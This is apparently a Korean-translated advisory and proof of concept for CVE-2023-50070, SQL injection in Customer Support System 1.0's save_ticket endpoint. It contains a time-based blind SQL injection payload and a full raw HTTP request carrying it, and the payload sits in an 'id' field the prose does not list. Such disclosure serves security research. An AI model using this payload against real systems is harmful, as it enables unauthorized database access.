geraldoalcantara/cve-2023-50070Customer Support System 1.0의 /customer_support/ajax.php?action=save_ticket에서 발견된 여러 SQL 인젝션 취약점으로 인해 인증된 공격자가 department_id, customer_id 및 subject 매개변수를 통해 임의의 SQL 명령을 실행할 수 있습니다.
설명: Customer Support System 1.0의 /customer_support/ajax.php?action=save_ticket에 존재하는 다중 SQL 인젝션 취약점으로 인해 인증된 공격자가 department_id, customer_id 및 subject를 통해 임의의 SQL 명령을 실행할 수 있습니다.
취약한 제품 버전: Customer Support System 1.0
CVE 작성자: Geraldo Alcântara
날짜: 29/11/2023
CVE: CVE-2023-50070
CVE 링크: https://www.cve.org/CVERecord?id=CVE-2023-50070
NVD 링크: https://nvd.nist.gov/vuln/detail/CVE-2023-50070
확인 날짜: 15/12/2023
테스트 환경: Windows
1- 애플리케이션에 로그인합니다.
2- /customer_support/index.php?page=new_ticket 페이지로 이동합니다.
3- 새 티켓을 생성하고 다음 매개변수 중 하나에 악성 페이로드를 삽입합니다: department_id, customer_id 또는 subject.
페이로드: '+(select*from(select(sleep(20)))a)+'
POST /customer_support/ajax.php?action=save_ticket HTTP/1.1
Host: 192.168.68.148
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------81419250823331111993422505835
Content-Length: 854
Origin: http://192.168.68.148
Connection: close
Referer: http://192.168.68.148/customer_support/index.php?page=new_ticket
Cookie: csrftoken=1hWW6JE5vLFhJv2y8LwgL3WNPbPJ3J2WAX9F2U0Fd5H5t6DSztkJWD4nWFrbF8ko; sessionid=xrn1sshbol1vipddxsijmgkdp2q4qdgq; PHPSESSID=mfd30tu0h0s43s7kdjb74fcu0l
-----------------------------81419250823331111993422505835
Content-Disposition: form-data; name="id"
'+(select*from(select(sleep(20)))a)+'
-----------------------------81419250823331111993422505835
Content-Disposition: form-data; name="subject"
teste
-----------------------------81419250823331111993422505835
Content-Disposition: form-data; name="customer_id"
3
-----------------------------81419250823331111993422505835
Content-Disposition: form-data; name="department_id"
4
-----------------------------81419250823331111993422505835
Content-Disposition: form-data; name="description"
<p>Blahs<br></p>
-----------------------------81419250823331111993422505835
Content-Disposition: form-data; name="files"; filename=""
Content-Type: application/octet-stream
-----------------------------81419250823331111993422505835--
발견자/크레딧:
Geraldo Alcântara